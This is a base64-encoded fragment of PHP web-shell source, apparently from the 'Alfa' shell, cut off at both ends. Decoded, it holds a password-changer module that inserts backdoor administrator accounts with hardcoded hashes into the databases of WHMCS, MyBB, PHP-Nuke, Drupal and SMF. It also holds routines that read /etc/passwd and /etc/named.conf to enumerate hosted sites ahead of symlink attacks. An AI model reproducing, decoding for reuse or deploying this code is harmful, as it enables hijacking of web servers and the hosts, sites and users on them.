A+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsgIGlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+PicpeyAgJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsgICRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsgICR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsgICRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsgICRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsgICRTUUwgPSAkX1BPU1RbJ2FsZmE5J107ICAkY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHRibGFkbWlucyAoaWQscm9sZWlkLHVzZXJuYW1lLHBhc3N3b3JkLGVtYWlsLHRlbXBsYXRlLGhvbWV3aWRnZXRzKSB2YWx1ZXMobnVsbCwnMScsJyIuJGFkbWluLiInLCdkNGE1OTBjYWFjYzBiZTU1ZWYyODZlNDBhOTQ1ZWE0NScsJyIuJFNRTC4iJywnYmxlbmQnLCdnZXR0aW5nX3N0YXJ0ZWQ6dHJ1ZSxvcmRlcnNfb3ZlcnZpZXc6dHJ1ZSxzdXBwb3J0dGlja2V0c19vdmVydmlldzp0cnVlLG15X25vdGVzOnRydWUsY2xpZW50X2FjdGl2aXR5OnRydWUsb3Blbl9pbnZvaWNlczp0cnVlLGFjdGl2aXR5X2xvZzp0cnVlfGluY29tZV9vdmVydmlldzp0cnVlLHN5c3RlbV9vdmVydmlldzp0cnVlLHdobWNzX25ld3M6dHJ1ZSxzeXNpbmZvOnRydWUsYWRtaW5fYWN0aXZpdHk6dHJ1ZSx0b2RvX2xpc3Q6dHJ1ZSxuZXR3b3JrX3N0YXR1czp0cnVlLGluY29tZV9mb3JlY2FzdDp0cnVlfCcpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgaWYoJHNvbGV2aXNpYmxlKXsgIF9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fSAgfSAgfSAgaWYoaXNzZXQoJF9QT1NUWydhbGZhNyddKSAmJiAkX1BPU1RbJ2FsZmE3J10gPT0gJ215YmInKXsgICAgZWNobyBfX3ByZSgpLic8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IE15YmIgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnbXliYicpLic8L3A+PGZvcm0gb25zdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxudWxsLFwnbXliYlwnLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsgICR0YWJsZSA9IGFycmF5KCd0ZDEnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkMicgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDMnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ0JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDUnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDYnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2thc3RybycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDcnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksICAgJ3RkOCcgPT4gICBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ2RyLmluamVjdGlvbmlAaG90bWFpbC5jb20nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSAgKTsgIGNyZWF0ZV90YWJsZSgkdGFibGUpOyAgZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsgIGlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+PicpeyAgJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsgICRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsgICR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsgICRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsgICRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsgICRTUUwgPSAkX1BPU1RbJ2FsZmE5J107ICAkcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsgICRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VycyAodWlkLHVzZXJuYW1lLHBhc3N3b3JkLHNhbHQsZW1haWwsdXNlcmdyb3VwKSB2YWx1ZXMobnVsbCwnIi4kYWRtaW4uIicsJ2U3MWYyYzMyNjU2MTkwMzhkODI2YTFhYzZlMmI5YjhlJywneXd6YTY4bFMnLCciLiRTUUwuIicsJzQnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgIGlmKCRzb2xldmlzaWJsZSl7ICBfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30gIH0gIH0gIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTgnXSkgJiYgJF9QT1NUWydhbGZhOCddID09ICdudWtlJyl7ICAgIGVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBQaHBOdWtlIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ3BocG51a2UnKS4nPC9wPjxmb3JtIG9uc3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLFwnbnVrZVwnLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7ICAkdGFibGUgPSBhcnJheSgndGQxJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDInID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQzJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNCcgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ1JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ2JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdrYXN0cm8nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ3JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLCAgICd0ZDgnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdkci5pbmplY3Rpb25pQGhvdG1haWwuY29tJywgJ2lucHV0U2l6ZScgPT4gJzUwJykgICk7ICBjcmVhdGVfdGFibGUoJHRhYmxlKTsgIGVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7ICBpZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsgICRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107ICAkZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmEzJ107ICAkdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107ICAkcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE1J107ICAkYWRtaW4gPSAkX1BPU1RbJ2FsZmE3J107ICAkU1FMID0gJF9QT1NUWydhbGZhOSddOyAgJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107ICAkY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgJGhhc2ggPSBtZDUoJHB3ZCk7ICAkc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJfYXV0aG9ycyhhaWQsbmFtZSxlbWFpbCxwd2QpIHZhbHVlcygnJGFkbWluJywnR29kJywnJFNRTCcsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICBpZigkc29sZXZpc2libGUpeyAgX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9ICB9ICB9ICBpZihpc3NldCgkX1BPU1RbJ2FsZmE5J10pICYmICRfUE9TVFsnYWxmYTknXSA9PSAnZHJ1cGFsJyl7ICAgIGVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBEcnVwYWwgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnZHJ1cGFsJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLG51bGwsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLFwnZHJ1cGFsXCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7ICAkdGFibGUgPSBhcnJheSgndGQxJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDInID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQzJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNCcgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ2JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdrYXN0cm8nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ3JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpICAgKTsgIGNyZWF0ZV90YWJsZSgkdGFibGUpOyAgZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsgIGlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+PicpeyAgJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsgICRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsgICR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsgICRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsgICRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsgICRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkZ2V0RGVzY3VpZCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCB1aWQgZnJvbSB1c2VycyBvcmRlciBieSB1aWQgZGVzYyBsaW1pdCAwLDEiKTsgICRnZXREZXNjdWlkID0gQG15c3FsaV9mZXRjaF9hc3NvYygkZ2V0RGVzY3VpZCk7ICAkZ2V0RGVzY3VpZCA9ICRnZXREZXNjdWlkWyd1aWQnXTsgICRnZXRkZXNjdWlkID0gJGdldERlc2N1aWQrKzsgICRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB1c2VycyAodWlkLG5hbWUscGFzcyxtYWlsLHNpZ25hdHVyZV9mb3JtYXQsc3RhdHVzLHRpbWV6b25lLGluaXQpIHZhbHVlcygnJGdldERlc2N1aWQnLCckYWRtaW4nLCdcJFNcJERQMnk5QWJvbENCT2RcL1d5UWNwenU0ekY1N3FFMG5veUNOZVhaV3YuMzdSNjZWc0ZqT2lDJywnZHIuaW5qZWN0aW9uaUBob3RtYWlsLmNvbScsJ2ZpbHRlcmVkX2h0bWwnLCcxJywnRXVyb3BlL0JlcmxpbicsJ2RyLmluamVjdGlvbmlAaG90bWFpbC5jb20nKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgICRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgdWlkIGZyb20gdXNlcnMgd2hlcmUgbmFtZT0nIi4kYWRtaW4uIiciKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkc29sZSA9IG15c3FsaV9udW1fcm93cygkc29sZXZpc2libGUpOyAgaWYgKCRzb2xlID09IDEpeyAgJHNvbGV2aXMgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsgICRyZXMgPSAkc29sZXZpc1sndWlkJ107ICB9ICAkc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiSU5TRVJUIElOVE8gdXNlcnNfcm9sZXMgKHVpZCxyaWQpIFZBTFVFUyAoJyIuJHJlcy4iJywgJzMnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgIGlmKCRzb2xldmlzaWJsZSl7ICBfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30gIH0gIH0gICAgaWYoaXNzZXQoJF9QT1NUWydhbGZhMTAnXSkgJiYgJF9QT1NUWydhbGZhMTAnXSA9PSAnc21mJyl7ICAgIGVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNNRiB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdzbWYnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSxudWxsLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSx0aGlzLmFkbWluLnZhbHVlLG51bGwsXCdzbWZcJyk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsgICR0YWJsZSA9IGFycmF5KCd0ZDEnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkMicgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDMnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ0JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDUnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJ3NtZl8nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ2JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdrYXN0cm8nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ3JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2hpJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksICAgKTsgIGNyZWF0ZV90YWJsZSgkdGFibGUpOyAgZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsgIGlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+PicpeyAgJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsgICRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsgICR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsgICRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsgICRwcmVmaXggPSAkX1BPU1RbJ2FsZmE3J107ICAkYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107ICAkY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgJHNldHB3QWxnID0gc2hhMShzdHJ0b2xvd2VyKCRhZG1pbikgLiAnc29sZXZpc2libGUnKTsgICRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB7JHByZWZpeH1tZW1iZXJzIChpZF9tZW1iZXIsbWVtYmVyX25hbWUsaWRfZ3JvdXAscmVhbF9uYW1lLHBhc3N3ZCxlbWFpbF9hZGRyZXNzKSB2YWx1ZXMobnVsbCwnJGFkbWluJywnMScsJyRhZG1pbicsJyRzZXRwd0FsZycsJ2RyLmluamVjdGlvbmlAaG90bWFpbC5jb20nKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgIGlmKCRzb2xldmlzaWJsZSl7ICBfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30gIH0gIH0gIGVjaG8gIjwvZGl2PiI7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBhbGZhTWFrZVB3ZCgpeyAgCWlmKF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIil8fChfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy9uYW1lZC5jb25mIikmJl9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZhbGlhc2VzIikpKXsgICByZXR1cm4gIi9ob21lL3t1c2VyfS9wdWJsaWNfaHRtbC8iOyAgCX0gIAkkZG9jdW1lbnQgPSBleHBsb2RlKCIvIiwgJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSk7ICAJJHB1YmxpYyA9IGVuZCgkZG9jdW1lbnQpOyAgCWFycmF5X3BvcCgkZG9jdW1lbnQpOyAgCWFycmF5X3BvcCgkZG9jdW1lbnQpOyAgCSRwYXRoID0gaW1wbG9kZSgiLyIsICRkb2N1bWVudCkgLiAiL3t1c2VyfS8iIC4gJHB1YmxpYzsgIAlyZXR1cm4gJHBhdGg7ICB9ICBmdW5jdGlvbiBhbGZhR2V0RG9tYWlucygkc3RhdGUgPSBmYWxzZSl7ICAJJHN0YXRlID0gIm5hbWVkLmNvbmYiOyAgCSRsaW5lcyA9IGFycmF5KCk7ICAJJGxpbmVzID0gX2FsZmFfZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7ICAJaWYoISRsaW5lcyl7ICAgJGxpbmVzID0gQHNjYW5kaXIoIi9ldGMvdmFsaWFzZXMvIik7ICAgJHN0YXRlID0gInZhbGlhc2VzIjsgICBpZighJGxpbmVzKXsgICAkbGluZXMgPSBAc2NhbmRpcigiL3Zhci9uYW1lZCIpOyAgICRzdGF0ZSA9ICJuYW1lZCI7ICAgaWYoISRsaW5lcyAmJiAkc3RhdGUpeyAgICRsaW5lcyA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7ICAgJHN0YXRlID0gInBhc3N3ZCI7ICAgfSAgIH0gIAl9ICAJcmV0dXJuIGFycmF5KCJsaW5lcyIgPT4gJGxpbmVzLCAic3RhdGUiID0+ICRzdGF0ZSk7ICB9ICBmdW5jdGlvbiBhbGZhc3ltbGluaygpeyAgYWxmYWhlYWQoKTsgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxicj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFN5bWxpbmsgfDwvZGl2PjxjZW50ZXI+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLFwnc3ltcGhwXCcpIj58IFN5bWxpbmsoIHBocCApIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLFwnc3ltcGVybFwnKSI